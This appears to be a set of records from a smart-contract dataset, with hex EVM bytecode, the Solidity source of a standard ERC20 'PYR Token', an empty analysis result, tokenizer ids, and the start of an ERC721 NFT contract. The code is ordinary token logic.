4015260208101905061150d565b50505050905090810190601f1680156115555780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156115f4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b6116b68160025461157690919063ffffffff16565b60028190555061170d816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461157690919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561183f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061206d6021913960400191505060405180910390fd5b6118aa81604051806060016040528060228152602001611f1e602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b69092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061190181600254611d1890919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b61197b82826117b9565b611a3c82611987611001565b611a378460405180606001604052806024815260200161204960249139600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006119ed611001565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b69092919063ffffffff16565b611009565b5050565b611a54816003611d6290919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f6ae172837ea30b801fbfcdd4108aa1d5bf8ff775444fd70256b44e6bf3dfc3f660405160405180910390a250565b611aae816003611e3d90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fe94479a9f7e1952cc78f2d6baab678adc1b772d936c6583def489e524cb6669260405160405180910390a250565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806120276022913960400191505060405180910390fd5b8260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611c58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611f406026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000611d5a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114b6565b905092915050565b611d6c8282611af4565b15611ddf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f526f6c65733a206163636f756e7420616c72656164792068617320726f6c650081525060200191505060405180910390fd5b60018260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b611e478282611af4565b611e9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611fde6021913960400191505060405180910390fd5b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654d696e746572526f6c653a2063616c6c657220646f6573206e6f74206861766520746865204d696e74657220726f6c65526f6c65733a206163636f756e7420646f6573206e6f74206861766520726f6c6545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365526f6c65733a206163636f756e7420697320746865207a65726f206164647265737345524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820275211890c4b1b5541b6d3e9b91f5e8f96b6a54f655a466b2659e77e3fd3614264736f6c63430005110032 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
22275,
2549,
2050,
12376,
10354,
27531,
2575,
2683,
2050,
22932,
14526,
10322,
10322,
24087,
2487,
2497,
18939,
2683,
26976,
2487,
27421,
2497,
24087,
2683,
26976,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
2515,
2025,
2421,
1008,
1996,
11887,
4972,
1025,
2000,
3229,
2068,
2156,
1063,
9413,
2278,
11387,
3207,
14162,
2098,
1065,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,469 | 0x9534ad65fb398e27ac8f4251dae1780b989d136e | pragma solidity ^ 0.5.17;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20Mintable}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract PYRToken is ERC20 {
uint public totalTokensAmount = 50000000;
string public name = "PYR Token";
string public symbol = "PYR";
uint8 public decimals = 18;
constructor(address _owner) public {
_mint(_owner, totalTokensAmount * (10 ** uint256(decimals)));
}
} | 0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a08231146102d057806395d89b4114610328578063a457c2d7146103ab578063a9059cbb14610411578063dd62ed3e14610477578063f26230f1146104ef576100b4565b806306fdde03146100b9578063095ea7b31461013c57806318160ddd146101a257806323b872dd146101c0578063313ce56714610246578063395093511461026a575b600080fd5b6100c161050d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101015780820151818401526020810190506100e6565b50505050905090810190601f16801561012e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101886004803603604081101561015257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105ab565b604051808215151515815260200191505060405180910390f35b6101aa6105c9565b6040518082815260200191505060405180910390f35b61022c600480360360608110156101d657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105d3565b604051808215151515815260200191505060405180910390f35b61024e6106ac565b604051808260ff1660ff16815260200191505060405180910390f35b6102b66004803603604081101561028057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106bf565b604051808215151515815260200191505060405180910390f35b610312600480360360208110156102e657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610772565b6040518082815260200191505060405180910390f35b6103306107ba565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610370578082015181840152602081019050610355565b50505050905090810190601f16801561039d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103f7600480360360408110156103c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610858565b604051808215151515815260200191505060405180910390f35b61045d6004803603604081101561042757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610925565b604051808215151515815260200191505060405180910390f35b6104d96004803603604081101561048d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610943565b6040518082815260200191505060405180910390f35b6104f76109ca565b6040518082815260200191505060405180910390f35b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105a35780601f10610578576101008083540402835291602001916105a3565b820191906000526020600020905b81548152906001019060200180831161058657829003601f168201915b505050505081565b60006105bf6105b86109d0565b84846109d8565b6001905092915050565b6000600254905090565b60006105e0848484610bcf565b6106a1846105ec6109d0565b61069c8560405180606001604052806028815260200161103960289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106526109d0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e859092919063ffffffff16565b6109d8565b600190509392505050565b600660009054906101000a900460ff1681565b60006107686106cc6109d0565b8461076385600160006106dd6109d0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f4590919063ffffffff16565b6109d8565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108505780601f1061082557610100808354040283529160200191610850565b820191906000526020600020905b81548152906001019060200180831161083357829003601f168201915b505050505081565b600061091b6108656109d0565b84610916856040518060600160405280602581526020016110aa602591396001600061088f6109d0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e859092919063ffffffff16565b6109d8565b6001905092915050565b60006109396109326109d0565b8484610bcf565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60035481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a5e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806110866024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ae4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180610ff16022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c55576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110616025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cdb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180610fce6023913960400191505060405180910390fd5b610d4681604051806060016040528060268152602001611013602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e859092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dd9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f4590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610f32576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610ef7578082015181840152602081019050610edc565b50505050905090810190601f168015610f245780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015610fc3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a7231582085cee725bcacd3c725bba5bebcc422d4a64a9ed379a4ba9399f5a554b5898c0964736f6c63430005110032 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
22275,
2549,
4215,
26187,
26337,
23499,
2620,
2063,
22907,
6305,
2620,
2546,
20958,
22203,
6858,
16576,
17914,
2497,
2683,
2620,
2683,
2094,
17134,
2575,
2063,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
2459,
1025,
1013,
1008,
1008,
1030,
16475,
3640,
2592,
2055,
1996,
2783,
7781,
6123,
1010,
2164,
1996,
1008,
4604,
2121,
1997,
1996,
12598,
1998,
2049,
2951,
1012,
2096,
2122,
2024,
3227,
2800,
1008,
3081,
5796,
2290,
1012,
4604,
2121,
1998,
5796,
2290,
1012,
2951,
1010,
2027,
2323,
2025,
2022,
11570,
1999,
2107,
1037,
3622,
1008,
5450,
1010,
2144,
2043,
7149,
2007,
28177,
2078,
18804,
1011,
11817,
1996,
4070,
6016,
1998,
1008,
7079,
2005,
7781,
2089,
2025,
2022,
1996,
5025,
4604,
2121,
1006,
2004,
2521,
2004,
2019,
4646,
1008,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,470 | 0x9534d02DAEF5dee347F5A602Ca7cEaCe1D632043 | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// copied from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.1.0/contracts/token/ERC721/ERC721.sol
// and merged with: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.1.0/contracts/token/ERC721/extensions/ERC721Enumerable.sol
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./IERC721Metadata.sol";
import "./IERC721Enumerable.sol";
import "./Address.sol";
import "./Context.sol";
import "./Strings.sol";
import "./ERC165.sol";
import "./Pausable.sol";
import "./Proxy.sol";
import "./EvaverseNFTv2.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension.
*/
contract EvaTurtleNFTv2 is ProxyTarget, Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Pausable {
using Address for address;
using Strings for uint256;
// Token name
string private _tokenName;
// Token symbol
string private _tokenSymbol;
// Base URI
string private _baseURI;
// Mapping from token ID to owner address
mapping (uint256 => address) private _owners;
// Mapping owner address to token count
mapping (address => uint256) private _balances;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
address private _evaverseNFT;
uint256 private _tokenCount;
uint256 private _maxTokens;
bool private _initialized;
bool private _isPromotionRunning;
mapping (uint256 => bool) private _claimedEvaNFTs;
uint256 private _tokenPrice;
